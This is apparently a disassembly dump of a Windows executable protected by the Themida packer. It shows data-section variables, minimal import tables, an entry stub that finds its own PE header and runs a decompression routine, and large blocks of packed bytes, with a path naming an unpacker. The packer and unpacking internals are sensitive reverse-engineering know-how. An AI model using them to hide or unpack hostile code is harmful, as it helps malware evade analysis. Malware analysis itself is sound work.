dword_4D3630	dd 80h dup(0)		; DATA XREF: sub_417990+41o
dword_4D3830	dd 200h	dup(0)		; DATA XREF: sub_4172C1+C7o
					; sub_41761C+DDo ...
dword_4D4030	dd 48h dup(0)		; DATA XREF: sub_4172C1+D6o
					; sub_41761C+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_4383A8o
		dd 1B7h	dup(0)
dword_4D4830	dd 0			; DATA XREF: sub_4172C1+86w
					; sub_417493+94r
dword_4D4834	dd 0			; DATA XREF: sub_4172C1+A7w
					; sub_4178F9+55r ...
dword_4D4838	dd 0			; DATA XREF: sub_4172C1+A0w
					; sub_417493+D6r ...
dword_4D483C	dd 0			; DATA XREF: sub_4172C1+79w
					; sub_417493+35r ...
dword_4D4840	dd 80h dup(0)		; DATA XREF: sub_4178F9+5Eo
dword_4D4A40	dd 0			; DATA XREF: sub_4172C1+93w
					; sub_417493+A2r
		align 8
dword_4D4A48	dd 0			; DATA XREF: sub_4172C1+E7o
					; sub_4172C1+103r ...
dword_4D4A4C	dd 0			; DATA XREF: sub_41761C+17Bw
					; sub_4177C3+107w
dword_4D4A50	dd 0			; DATA XREF: sub_41761C+180w
					; sub_4177C3+10Dw ...
dword_4D4A54	dd 0			; DATA XREF: sub_41761C+159w
					; sub_4178F9+4Fr
dword_4D4A58	dd 0			; DATA XREF: sub_417C61+22w
					; sub_417C61:loc_417DE6w ...
dword_4D4A5C	dd 0			; DATA XREF: sub_401ACD+3C95o
					; sub_417B2F+12o ...
		dd 0
dword_4D4A64	dd 0			; DATA XREF: sub_417C61+1Cr
					; sub_417E06+3Ar
		dd 7Fh dup(0)
dword_4D4C64	dd 0			; DATA XREF: sub_417C61+28r
					; sub_417E06+4Aw
		dd 1944h dup(0)
dword_4DB178	dd 0			; DATA XREF: sub_417E06+23o
dword_4DB17C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CB9o
					; sub_417B2F+3Co ...
dword_4DB380	dd 17h dup(0)		; DATA XREF: sub_418D2A:loc_418E47o
					; sub_418D2A+131o ...
dword_4DB3DC	dd 80h dup(0)		; DATA XREF: sub_419AE0+7Co
					; sub_419AE0+A5o
dword_4DB5DC	dd 0			; DATA XREF: sub_4190A5+45w
					; sub_4190A5+4Dr ...
dword_4DB5E0	dd 17h dup(0)		; DATA XREF: sub_4199AC:loc_419ACEo
					; sub_4199AC+12Do
dword_4DB63C	dd 80h dup(0)		; DATA XREF: sub_418FE5+4Co
					; sub_418FE5+7Eo ...
byte_4DB83C	db 0			; DATA XREF: sub_4190A5+29r
					; sub_4190A5+34w
		align 10h
dword_4DB840	dd 80h dup(0)		; DATA XREF: sub_4192FC+61o
					; sub_4192FC+89o ...
dword_4DBA40	dd 81h dup(0)		; DATA XREF: sub_418C0E:loc_418C46o
					; sub_418C0E+5Bo
dword_4DBC44	dd 0			; DATA XREF: sub_419F6D:loc_419F8Er
					; sub_41A05C+54r ...
dword_4DBC48	dd 0			; DATA XREF: sub_419F6Dr
					; sub_41A05C+37r ...
dword_4DBC4C	dd 0			; DATA XREF: sub_419F9D+1Ar
					; sub_41A1B1+83o
dword_4DBC50	dd 0			; DATA XREF: sub_419F6D:loc_419F81r
					; sub_41A1B1+11Bw
dword_4DBC54	dd 0Dh dup(0)		; DATA XREF: sub_41A05C+13o
					; sub_41A1B1:loc_41A2EEo
dword_4DBC88	dd 0			; DATA XREF: sub_41A05C+CDr
					; sub_41A05C+ECr ...
		align 10h
dword_4DBC90	dd 0Fh dup(0)		; DATA XREF: sub_41ADD8+47o
byte_4DBCCC	db 0			; DATA XREF: sub_41B52C+6o
					; ___:0041B881o ...
		align 10h
		dd 3Fh dup(0)
dword_4DBDCC	dd 2 dup(0)		; DATA XREF: sub_41B55B+18o
dword_4DBDD4	dd 2 dup(0)		; DATA XREF: sub_41B55B+8o
					; ___:0041B6CAo
dword_4DBDDC	dd 0			; DATA XREF: sub_41C59D+1B9w
					; ___:loc_41DB07w ...
dword_4DBDE0	dd 0			; DATA XREF: sub_41DC5E+35w
					; sub_41E312:loc_41E3ACw ...
dword_4DBDE4	dd 0			; DATA XREF: sub_42423B+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DBDF8	dd 1			; DATA XREF: ___:loc_401516r
					; ___:0042381Dw
dword_4DBDFC	dd 2450B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		dd 0
dword_4DBE04	dd 2450B58h		; DATA XREF: ___:00423717w
		dd 3 dup(0)
off_4DBE14	dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DBE1C	db 0			; DATA XREF: sub_41C1B3+2Dw
					; sub_4241E3+5r
		align 10h
dword_4DBE20	dd 0			; DATA XREF: sub_41C1B3+27w
dword_4DBE24	dd 0			; DATA XREF: sub_41C1B3+4r
					; sub_41C1B3+8Bw
dword_4DBE28	dd 0			; DATA XREF: sub_41CAD4+3Br
					; sub_41CAD4+91w
		align 10h
dword_4DBE30	dd 0			; DATA XREF: sub_41D124+Aw
dword_4DBE34	dd 0			; DATA XREF: ___:loc_4236E5r
					; ___:loc_423727r ...
		dd 0
dword_4DBE3C	dd 0			; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE40	dd 0			; DATA XREF: sub_41F3B0+4Bw
					; sub_41F4C9+2Dw ...
dword_4DBE44	dd 0			; DATA XREF: sub_41FBB2r
dword_4DBE48	dd 0			; DATA XREF: sub_41BBE2:loc_41BCFEr
					; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C	dd 1			; DATA XREF: sub_420749:loc_4208C4r
					; sub_4208E2+4w ...
dword_4DBE50	dd 0			; DATA XREF: sub_420CE6+37r
		align 8
dword_4DBE58	dd 0			; DATA XREF: sub_422279+11r
					; sub_42237D+1Ar ...
byte_4DBE5C	db 0			; DATA XREF: sub_422279+3r
					; sub_422279+98r ...
		align 10h
dword_4DBE60	dd 0			; DATA XREF: sub_42237D+11r
					; sub_42245B+21w ...
byte_4DBE64	db 0			; DATA XREF: sub_42245B+51w
		align 4
dword_4DBE68	dd 0			; DATA XREF: sub_422651+4Er
					; sub_422A2C+3Ar ...
dword_4DBE6C	dd 0			; DATA XREF: sub_422651+5Cr
					; sub_422A2C+43r ...
dword_4DBE70	dd 0			; DATA XREF: sub_41D3AA+7Ar
					; sub_4227F8+5r
dword_4DBE74	dd 0			; DATA XREF: sub_422DFC+29r
dword_4DBE78	dd 1			; DATA XREF: sub_4232A8+28r
					; sub_4232A8+4Cw ...
		dd 2 dup(0)
dword_4DBE84	dd 0			; DATA XREF: sub_41DE4A+4r
					; sub_41DE4A+6Er ...
		dd 3 dup(0)
dword_4DBE94	dd 0			; DATA XREF: sub_41E0D4+61r
					; sub_41E0D4+BFr ...
		dd 0
dword_4DBE9C	dd 0			; DATA XREF: ___:00423531r
					; ___:0042353Dw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
					; ___:off_4DBE14o
		align 4
		dd 3Ah dup(0)
dword_4DBFA4	dd 1			; DATA XREF: ___:004239DBr
					; ___:004239FCw ...
dword_4DBFA8	dd 0			; DATA XREF: sub_423D98+21r
dword_4DBFAC	dd 0			; DATA XREF: sub_41FBCD+154w
					; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0	dd 0			; DATA XREF: sub_41FBCD+7r
dword_4DBFB4	dd 1			; DATA XREF: sub_4244F4+26r
					; sub_4244F4:loc_42455Ew
word_4DBFB8	dw 0			; DATA XREF: sub_424DF9+1Ao
					; sub_424DF9+46r
byte_4DBFBA	db 0			; DATA XREF: sub_424DF9+39r
		align 4
dword_4DBFBC	dd 7 dup(0)		; DATA XREF: sub_424DF9+52o
dword_4DBFD8	dd 0			; DATA XREF: sub_424DF9+40w
					; sub_424DF9+5Co
dword_4DBFDC	dd 0			; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0	dd 0			; DATA XREF: sub_424DF9+31w
dword_4DBFE4	dd 0			; DATA XREF: sub_424DF9+52w
dword_4DBFE8	dd 77C26E79h		; DATA XREF: sub_424F1C:loc_424F3Fr
					; sub_424F1C+38r
dword_4DBFEC	dd 0			; DATA XREF: sub_425029+3r
					; sub_425029+2Ew ...
dword_4DBFF0	dd 0			; DATA XREF: sub_425029+43w
					; sub_425029:loc_425078r
dword_4DBFF4	dd 0			; DATA XREF: sub_425029+4Aw
					; sub_425029+60r
dword_4DBFF8	dd 0			; DATA XREF: sub_42423B+3Fr
dword_4DBFFC	dd 0			; DATA XREF: sub_425C06:loc_425C6Dr
					; sub_425C06+6Do
dword_4DC000	dd 0			; DATA XREF: sub_425C06:loc_425C44r
					; sub_425C06+44o
dword_4DC004	dd 0			; DATA XREF: sub_425C06:loc_425C37r
					; sub_425C06+37o
dword_4DC008	dd 0			; DATA XREF: sub_425C06:loc_425C51r
					; sub_425C06+51o
		align 10h
dword_4DC010	dd 0			; DATA XREF: sub_426636+28r
					; sub_426636+4Cw ...
dword_4DC014	dd 0			; DATA XREF: sub_4268C1+26r
					; sub_4268C1:loc_42692Bw
byte_4DC018	db 0			; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
		align 4
dword_4DC01C	dd 2451140h		; DATA XREF: sub_41E490:loc_41E4A1r
					; sub_41FD3D+14r ...
dword_4DC020	dd 400h	dup(0)		; DATA XREF: ___:off_43D568o
					; ___:0043D570o
dword_4DD020	dd 200h			; DATA XREF: sub_41E490+9r
					; sub_41E490+56r ...
		dd 7 dup(0)
dword_4DD040	dd 2450650h		; DATA XREF: sub_41F8E3+75r
					; sub_41F9BC+2Ar ...
dword_4DD044	dd 3Fh dup(0)		; DATA XREF: ___:00423B9Do
dword_4DD140	dd 20h			; DATA XREF: sub_41E312+8r
					; sub_41F9BC+Cr ...
dword_4DD144	dd 4E4h			; DATA XREF: sub_420749+14r
					; sub_420749+65w ...
		align 10h
dword_4DD150	dd 3 dup(0)		; DATA XREF: sub_420749+123o
					; sub_420749+171o ...
dword_4DD15C	dd 0			; DATA XREF: sub_420749+108w
					; sub_420749+15Dw ...
byte_4DD160	db 0			; DATA XREF: sub_420988:loc_420A94w
					; sub_420988:loc_420AB1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DD260	db 0			; DATA XREF: sub_420749+5Co
					; sub_420749+AFo ...
byte_4DD261	db 0			; DATA XREF: sub_41C3B1+5Dr
					; sub_420749+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DD364	dd 0			; DATA XREF: sub_420749+6Ew
					; sub_420749+12Bw ...
dword_4DD368	dd 0			; DATA XREF: sub_41ED74+5r
					; sub_41ED74+32w
dword_4DD36C	dd 0			; DATA XREF: sub_41E742+23Ar
					; sub_41E742+25Ar ...
dword_4DD370	dd 0			; DATA XREF: sub_41E742+311w
					; sub_41EA6B:loc_41EABBr ...
dword_4DD374	dd 0			; DATA XREF: sub_41E742+22Dr
					; sub_41E742+260r ...
dword_4DD378	dd 0			; DATA XREF: sub_41E717r
					; sub_41E742+2CBr ...
dword_4DD37C	dd 0			; DATA XREF: sub_41E717+8r
					; sub_41E742+2D0r ...
dword_4DD380	dd 0			; DATA XREF: sub_41BBE2+5Cr
					; sub_41BEF3+Fr ...
dword_4DD384	dd 2450000h		; DATA XREF: sub_41BA91+5Ar
					; sub_41BBE2+C0r ...
dword_4DD388	dd 1			; DATA XREF: sub_41BA91+Cr
					; sub_41BBE2:loc_41BC12r ...
dword_4DD38C	dd 142340h		; DATA XREF: ___:0042368Ar
					; ___:004237B5r
dword_4DD390	dd 1			; DATA XREF: ___:00423780w
dword_4DD394	dd 1			; DATA XREF: sub_420B0Dr
					; sub_420B0D+11w ...
dword_4DD398	dd 2450758h		; DATA XREF: sub_41C1B3+3Er
					; sub_41D9B3+13r ...
dword_4DD39C	dd 2450758h		; DATA XREF: sub_41C1B3+35r
					; sub_41C1B3+57r ...
		dd 318h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DF000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 000E0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E0000h
a7icwCw		db '7╗Гw╣\Гw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0E0050h, 0E0000h, 3 dup(0)
		dd 0E0079h, 0E000Ch, 3 dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:004385ACo
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E1000)
; Virtual size			: 000F5000 (1003520.)
; Section size in file		: 000F5000 (1003520.)
; Offset to raw	data for section: 000E1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E1000h
		dd 0AAB8A06h, 4413Eh, 54146h, 96172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E1265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00548BDF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054C110 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054C386 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0054C3D8 SIZE 00000096 BYTES
; FUNCTION CHUNK AT 0054C4A4 SIZE 00000016 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E1086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E1041
		popa
		jmp	short loc_4E1076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E10h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E1041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E104E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E106D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E1074


loc_4E106D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E104E
; ---------------------------------------------------------------------------


loc_4E1074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E1076:				; CODE XREF: start+1Bj
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		db 3
		dd 126AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E1086:				; CODE XREF: start+8j
		mov	eax, offset loc_548BDF
		mov	ecx, offset word_4E126A
		push	eax
		push	ecx
		call	sub_4E111B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E1265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(⌠иД┼x╪^│',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E111B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E1127:				; CODE XREF: sub_4E111B:loc_4E113Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E1132:				; CODE XREF: sub_4E111B+7Aj
					; sub_4E111B+C3j ...
		add	dl, dl
		jnz	short loc_4E113B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E113B:				; CODE XREF: sub_4E111B+19j
		jnb	short loc_4E1127
		add	dl, dl
		jnz	short loc_4E1146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1146:				; CODE XREF: sub_4E111B+24j
		jnb	short loc_4E1197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E1153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1153:				; CODE XREF: sub_4E111B+31j
		jnb	loc_4E1238
		add	dl, dl
		jnz	short loc_4E1162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1162:				; CODE XREF: sub_4E111B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E116D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E116D:				; CODE XREF: sub_4E111B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1178:				; CODE XREF: sub_4E111B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1183:				; CODE XREF: sub_4E111B+61j
		adc	eax, eax
		jz	short loc_4E118D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E118D:				; CODE XREF: sub_4E111B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1197:				; CODE XREF: sub_4E111B:loc_4E1146j
		mov	eax, 1


loc_4E119C:				; CODE XREF: sub_4E111B:loc_4E11B0j
		add	dl, dl
		jnz	short loc_4E11A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11A5:				; CODE XREF: sub_4E111B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E11B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11B0:				; CODE XREF: sub_4E111B+8Ej
		jb	short loc_4E119C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E11E3
		mov	ecx, 1


loc_4E11C0:				; CODE XREF: sub_4E111B:loc_4E11D4j
		add	dl, dl
		jnz	short loc_4E11C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11C9:				; CODE XREF: sub_4E111B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E11D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11D4:				; CODE XREF: sub_4E111B+B2j
		jb	short loc_4E11C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E11E3:				; CODE XREF: sub_4E111B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E11F1:				; CODE XREF: sub_4E111B:loc_4E1205j
		add	dl, dl
		jnz	short loc_4E11FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11FA:				; CODE XREF: sub_4E111B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E1205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1205:				; CODE XREF: sub_4E111B+E3j
		jb	short loc_4E11F1
		cmp	eax, 7D00h
		jnb	short loc_4E1228
		cmp	eax, 500h
		jb	short loc_4E1223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1223:				; CODE XREF: sub_4E111B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E122B


loc_4E1228:				; CODE XREF: sub_4E111B+F1j
		add	ecx, 2


loc_4E122B:				; CODE XREF: sub_4E111B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1238:				; CODE XREF: sub_4E111B:loc_4E1153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E1259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1259:				; CODE XREF: sub_4E111B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E111B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E1265:				; CODE XREF: start:loc_4E1076j
					; start+9Dj
		jmp	loc_548BDF
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E126A	dw 38E9h		; DATA XREF: start+77o
		dd 156352Ch, 0E178BCAAh, 18AFF0Fh, 1A1FD20h, 5401DCF5h
		dd 696D6568h, 15C26164h, 179251D5h, 24E45F08h, 7E5D215Ch
		dd 1DC23645h, 0C298457Eh, 2279F535h, 7E3DC21Dh,	0DFB89D97h
		dd 0E10335E6h, 21F2BF1Ah, 0EBEB112Eh, 0E80CCBD7h, 0E8034CCAh
		dd 147BEFEh, 8B11ECFAh,	52F03A84h, 741C7365h, 41CE7261h
		dd 4F2E2F70h, 75239C78h, 8F73390h, 0A3147179h, 42EFBF68h
		dd 1CFEAF01h, 0D487C58Bh, 8008E860h, 3BED815Dh,	60A1435h
		dd 6059589h, 2679B504h,	2E298542h, 95BD8300h, 74808334h
		dd 0E8728B0Ch, 0A7B8E227h, 70BCC2A5h, 0C4247144h, 110C13Eh
		dd 0A3E8456Ah, 9A682981h, 0E9078374h, 250A40DFh, 0A7A894Bh
		dd 29E9D544h, 5FEC0214h
		db 40h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	dword ptr [ebx], 0FFFFFFC4h
		fsubr	st, st(6)
		add	[edx-7Fh], ebx
		jmp	far ptr	0C7DAh:8B003629h
; ---------------------------------------------------------------------------
		db 24h
		dd 6C08D845h, 8963400Eh, 0F37D8108h, 741D1980h,	0FC08200Fh
		dd 0A929383h, 4312FF61h, 368DE1EBh, 0D02661DCh,	450C2C9h
		dd 0C41A8146h, 3902FF7Ch, 8D107249h, 8B058045h,	85C7085Dh
		dd 28501911h, 0D1020A8Dh, 411888C3h, 810BA289h,	5D0688BDh
		dd 27E3750Ah, 0A3BA8D50h, 8075B064h, 0BB0E128Ah, 0B85B40F4h
		dd 785437ABh, 30D0D33Fh, 754B080Fh, 14AFECF7h, 4A4647C3h
		dd 0F98A4691h, 61D18A42h, 1DD0E88Ah, 0EE627FF0h, 4D82FC45h
		dd 0AD8F04EBh, 3E804623h, 0BAF74014h, 9834DB84h, 64EB0C7Dh
		dd 33F83E7Fh, 0F012216Dh, 0A0F40E32h, 65C14A10h, 0D60450F0h
		dd 0E0D10EF8h, 2858C203h, 8A07DB33h, 0FB80301Ch, 0F0A7233h
		dd 577390Ah, 99BCEB4Fh,	0FD611422h, 660A9F0Dh, 0D71E08DBh
		dd 0AB0AC3D3h, 411A0C10h, 460A0B72h, 24067737h,	5D0186A8h
		dd 0F41CECF0h, 2C67D83h, 0CD0CB072h, 0D9A576C0h, 0F82690AAh
		dd 0DA8D8173h, 553BA880h, 822A0FFCh, 0B070BD78h, 9438AA6Fh
		dd 380838BAh, 0FC702AB9h, 37B8BD10h, 470FFE00h,	0B9FA7549h
		dd 6A772271h, 1101BB1Fh, 0EB82F147h, 8ED8026Dh,	39900386h
		dd 65510715h, 5DF43683h, 0F1268ACEh, 5944E93Eh,	118B101Bh
		dd 0B84B10Fh, 6EA0D8Ch,	0DF00DC0Bh, 2CB55256h, 0CCD98BC3h
		dd 8CACF14Ah, 34CB38h, 4E398267h, 30F765Bh, 3D51B810h
		dd 3BE3D104h, 4A0E46B3h, 0B82E0975h, 14EC4871h,	359065E4h
		dd 0C584037Dh, 0A3968E05h, 0C253CB23h, 29A0C204h, 8205718Ch
		dd 0A00EE76Dh, 2B86FFD9h, 22047781h, 0C1341D00h, 7533F984h
		dd 3FBCC820h, 330ABB3Bh, 990230EFh, 8CC4EC41h, 0FFCCCF7Fh
		dd 456740C8h, 6028E9F5h, 52C40062h, 11254D8Ch, 0B142AA82h
		dd 845AAB66h, 56531384h, 825E05CBh, 8150AEEEh, 7D6C22ECh
		dd 13B9518Ah, 94972302h, 186B7843h, 1704E957h, 0C4725F21h
		dd 25758A14h, 8453394h,	4721001Ah, 9B71C457h, 990D8F78h
		dd 24BC670Eh, 0ECDA8DD0h, 683D1D81h, 5E20031h, 0CA0B38B8h
		dd 1F861018h, 0EEC8FD45h, 0AE1366CEh, 0B40C1702h, 0F3EEA58h
		dd 1FBEDFAh, 38A52D0Dh,	49461104h, 0C42CFE1Dh, 60398C58h
		dd 7D8A11C4h, 48801E88h, 70CBC458h, 2C673F4h, 90DCA0C5h
		dd 1B608C8Fh, 12634686h, 0D08EA62h, 6D1A2435h, 88D9E946h
		dd 261BD224h, 3D2530E3h, 0EF3F1DA2h, 23C8809Bh,	0B48BD763h
		dd 0B8F029Ah, 0DCE8910Dh, 10892AA7h, 0C76F2FEFh, 0E95A750Ch
		dd 0B11B0Ch, 403E570Dh,	502DF372h, 0C052C0F3h, 0C31CFE70h
		dd 82435C0Eh, 50683CC2h, 3DCBF732h, 0C3803256h,	0CFAB509Bh
		dd 8BA48510h, 0C870C0ECh, 8C673207h, 8AF55FF9h,	0F2B80F4Fh
		dd 7A206C00h, 78B52C85h, 50F73CB0h, 0B83F1D07h,	0EEC783C3h
		dd 541514F0h, 0A9C0670Ah, 3217B55Dh, 0EA849600h, 0A71B905h
		dd 4B59BD88h, 7E2411FCh, 0D80B0D60h, 22803Fh, 0B16AFFB4h
		dd 55C3588Ah, 2332EA31h, 2AE5ABE4h, 7A1EE8h, 345906BDh
		dd 0FEAE212h, 0F48425C0h, 1D29D1Ah, 5371BED0h, 0FCA5E814h
		dd 8858EAC7h, 0C2D4801Ch, 75E2A7Eh, 239570D6h, 16601F62h
		dd 6D7C0276h, 0A900F77Bh, 377B5C7Fh, 134A56Fh, 7AA2A8C0h
		dd 0F8D56971h, 0A4EC4CD4h, 31648D00h, 0D232B680h, 0A67C00FEh
		dd 22AEC830h, 0C100558Fh, 1E464D6Eh, 42E9F4h, 0F8F9149Eh
		dd 7F76277Ch, 92AEDB00h, 7DA65499h, 483A03C3h, 18F3F18Ch
		dd 0F614911Dh, 751A31F1h, 0A90008BEh, 481CD126h, 0A707D443h
		dd 390A5CFBh, 7F80CE97h, 5FBDB2h, 1D5A6D80h, 5DA054BCh
		dd 5207800h, 0F3E5453Fh, 0FAC70EAFh, 0FB008188h, 0A6B99340h
		dd 0ED4F1D18h, 6EEE71h,	0D9E8B468h, 3CA398EFh, 9ED8463Ah
		dd 6FC0168Ah, 5F31A6C0h, 756D02B5h, 0F7DDC882h,	0E083F541h
		dd 9A008D02h, 277D01F6h, 0C07A8066h, 3EC1ACC1h,	0E403B662h
		dd 0FA6F6513h, 0FD81A718h, 46F80532h, 0F97600D1h, 0A711996Dh
		dd 67C1920h, 8FB631CFh,	211287D1h, 0B002E0C3h, 4BDE7Bh
		dd 0B45120B9h, 1455A00Dh, 330620DFh, 1D181501h,	33E722C4h
